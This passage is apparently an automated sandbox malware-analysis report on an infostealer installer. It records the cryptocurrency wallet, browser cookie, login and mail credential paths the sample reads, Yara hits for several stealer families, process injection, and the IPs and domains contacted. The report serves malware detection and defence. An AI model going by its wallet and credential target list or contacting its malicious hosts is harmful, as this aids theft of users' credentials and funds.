Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000011.00000002.2559747282.0000000003335000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2559747282.00000000035D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lbg6Jgx2PuK0JimgGIFCI5UU.exe PID: 6256, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Mars stealer
Source: Yara match File source: 9.2.Lbg6Jgx2PuK0JimgGIFCI5UU.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.2606301405.0000000000A01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Yara detected PureLog Stealer
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663cfc420.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d50aa0.19.unpack, type: UNPACKEDPE
Source: Yara match File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d50aa0.22.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d7f760.30.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d7f760.26.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.3.1719859269.0326595_setup.exe.21663d1e060.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.0.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.b80000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000003.2231437346.0000021664602000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2446122918.0000000003AC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.2396195188.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2242900895.0000021665139000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000000.2313037451.0000000000B82000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\newsoftgnu[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe, type: DROPPED
Yara detected RedLine Stealer
Source: Yara match File source: dump.pcap, type: PCAP
Source: Yara match File source: 17.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.73ab00.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.4Q6k8SlqG7M24bYO3UgMWICf.exe.73ab00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000011.00000002.2550868156.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2414041774.000000000073A000.00000004.00000001.01000000.0000000D.sdmp, type: MEMORY
Yara detected Stealc
Source: Yara match File source: 00000009.00000002.2627954517.0000000001CF4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lbg6Jgx2PuK0JimgGIFCI5UU.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.43af908.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.4314a88.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.4314a88.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.Lbg6Jgx2PuK0JimgGIFCI5UU.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.437bed8.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.yHP2Z5SFUIZjI8pAKB_H3QUP.exe.437bed8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 21.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.2606301405.0000000000A01000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.0000000004314000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2806277052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2421723577.000000000338B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.000000000437B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.00000000042E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2451450016.00000000043AF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Lbg6Jgx2PuK0JimgGIFCI5UU.exe PID: 6256, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yHP2Z5SFUIZjI8pAKB_H3QUP.exe PID: 2876, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: 27.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3ac5990.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.4MZEKMRe7m6bc8qivCccLsq8.exe.3b9edf8.2.raw.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1465682 Sample: 1719859269.0326595_setup.exe Startdate: 02/07/2024 Architecture: WINDOWS Score: 100 110 service-domain.xyz 2->110 112 ellaboratepwsz.xyz 2->112 114 30 other IPs or domains 2->114 136 Found malware configuration 2->136 138 Malicious sample detected (through community Yara rule) 2->138 140 Antivirus detection for URL or domain 2->140 144 26 other signatures 2->144 9 1719859269.0326595_setup.exe 11 40 2->9         started        14 WinTrackerSP.exe 2->14         started        16 svchost.exe 2->16         started        18 4 other processes 2->18 signatures3 142 Performs DNS queries to domains with low reputation 112->142 process4 dnsIp5 128 a.884736279.xyz 79.174.95.43 HOSTING-COMPANY-ASRU Russian Federation 9->128 130 vk.com 87.240.132.78, 49718, 49719, 49725 VKONTAKTE-SPB-AShttpvkcomRU Russian Federation 9->130 134 15 other IPs or domains 9->134 102 C:\Users\...\yTXn1eeuAPe6JeFa5Kfn6hMY.exe, PE32+ 9->102 dropped 104 C:\Users\...\yHP2Z5SFUIZjI8pAKB_H3QUP.exe, PE32 9->104 dropped 106 C:\Users\...\kUJOpvLlbhqCDkTlllfRFIPb.exe, PE32 9->106 dropped 108 15 other malicious files 9->108 dropped 184 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 9->184 186 Drops PE files to the document folder of the user 9->186 188 Creates HTML files with .exe extension (expired dropper behavior) 9->188 196 7 other signatures 9->196 20 H1pBxuA3W1wJGbhYT2DZXaLH.exe 2 9->20         started        23 Lbg6Jgx2PuK0JimgGIFCI5UU.exe 37 9->23         started        27 yHP2Z5SFUIZjI8pAKB_H3QUP.exe 3 9->27         started        31 8 other processes 9->31 190 Multi AV Scanner detection for dropped file 14->190 192 Query firmware table information (likely to detect VMs) 14->192 194 Tries to detect sandboxes and other dynamic analysis tools (window names) 14->194 198 4 other signatures 14->198 29 WerFault.exe 16->29         started        132 127.0.0.1 unknown unknown 18->132 file6 signatures7 process8 dnsIp9 84 C:\Users\...\H1pBxuA3W1wJGbhYT2DZXaLH.tmp, PE32 20->84 dropped 33 H1pBxuA3W1wJGbhYT2DZXaLH.tmp 20->33         started        124 85.28.47.4 GES-ASRU Russian Federation 23->124 126 77.91.77.81 FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU Russian Federation 23->126 86 C:\Users\user\AppData\...\AAAAKJKJEB.exe, PE32 23->86 dropped 88 C:\Users\user\AppData\...\softokn3[1].dll, PE32 23->88 dropped 90 C:\Users\user\AppData\Local\...\nss3[1].dll, PE32 23->90 dropped 98 11 other files (7 malicious) 23->98 dropped 162 Multi AV Scanner detection for dropped file 23->162 164 Detected unpacking (changes PE section rights) 23->164 166 Tries to steal Mail credentials (via file / registry access) 23->166 180 5 other signatures 23->180 168 Writes to foreign memory regions 27->168 170 Allocates memory in foreign processes 27->170 172 Injects a PE file into a foreign processes 27->172 36 MSBuild.exe 27->36         started        92 C:\Users\user\AppData\...\PowerExpertNT.exe, PE32 31->92 dropped 94 C:\Users\user\AppData\Local\...\Install.exe, PE32 31->94 dropped 96 C:\Users\user\AppData\Local\...\Install.exe, PE32 31->96 dropped 100 3 other malicious files 31->100 dropped 174 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 31->174 176 Query firmware table information (likely to detect VMs) 31->176 178 Uses schtasks.exe or at.exe to add and modify task schedules 31->178 182 5 other signatures 31->182 40 RegAsm.exe 31->40         started        42 Install.exe 31->42         started        44 Install.exe 31->44         started        46 11 other processes 31->46 file10 signatures11 process12 dnsIp13 66 C:\Users\user\AppData\Local\...\_setup64.tmp, PE32+ 33->66 dropped 68 C:\Users\user\AppData\Local\...\_iscrypt.dll, PE32 33->68 dropped 70 C:\Users\user\AppData\Local\...\_RegDLL.tmp, PE32 33->70 dropped 82 34 other files (23 malicious) 33->82 dropped 48 mp3doctorfree32_64.exe 33->48         started        116 t.me 149.154.167.99 TELEGRAMRU United Kingdom 36->116 118 77.105.132.27 PLUSTELECOM-ASRU Russian Federation 36->118 122 2 other IPs or domains 36->122 72 C:\Users\user\AppData\...\lumma2806[1].exe, PE32 36->72 dropped 74 C:\Users\user\AppData\Local\...\sqlt[1].dll, PE32 36->74 dropped 76 C:\ProgramData\FCBFBGDBKJ.exe, PE32 36->76 dropped 148 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 36->148 150 Tries to harvest and steal ftp login credentials 36->150 152 Tries to harvest and steal browser information (history, passwords, etc) 36->152 154 Tries to harvest and steal Bitcoin Wallet information 36->154 120 77.105.135.107 PLUSTELECOM-ASRU Russian Federation 40->120 156 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 40->156 158 Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines) 40->158 160 Tries to steal Crypto Currency Wallets 40->160 78 C:\Users\user\AppData\Local\...\Install.exe, PE32 42->78 dropped 51 Install.exe 42->51         started        80 C:\Users\user\AppData\Local\...\Install.exe, PE32 44->80 dropped 54 Install.exe 44->54         started        56 conhost.exe 46->56         started        58 conhost.exe 46->58         started        60 conhost.exe 46->60         started        62 5 other processes 46->62 file14 signatures15 process16 file17 64 C:\ProgramData\...\AIRP Next Stage 7.1.66.exe, PE32 48->64 dropped 146 Multi AV Scanner detection for dropped file 51->146 signatures18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
34.117.186.192
 ipinfo.io United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
104.26.9.59
 api.myip.com United States
13335 CLOUDFLARENETUS false
77.105.133.27
 unknown Russian Federation
42031 PLUSTELECOM-ASRU false
87.240.132.78
 vk.com Russian Federation
47541 VKONTAKTE-SPB-AShttpvkcomRU false
80.78.242.100
 unknown Russian Federation
24971 MASTER-ASCzechRepublicwwwmasterczCZ false
149.154.167.99
 t.me United Kingdom
62041 TELEGRAMRU true
172.67.132.113
 iplogger.org United States
13335 CLOUDFLARENETUS false
95.142.206.3
 sun6-23.userapi.com Russian Federation
47541 VKONTAKTE-SPB-AShttpvkcomRU false
104.192.141.1
 bitbucket.org United States
16509 AMAZON-02US false
95.142.206.2
 sun6-22.userapi.com Russian Federation
47541 VKONTAKTE-SPB-AShttpvkcomRU false
95.142.206.1
 sun6-21.userapi.com Russian Federation
47541 VKONTAKTE-SPB-AShttpvkcomRU false
85.28.47.4
 unknown Russian Federation
31643 GES-ASRU true
79.174.95.43
 a.884736279.xyz Russian Federation
47385 HOSTING-COMPANY-ASRU true
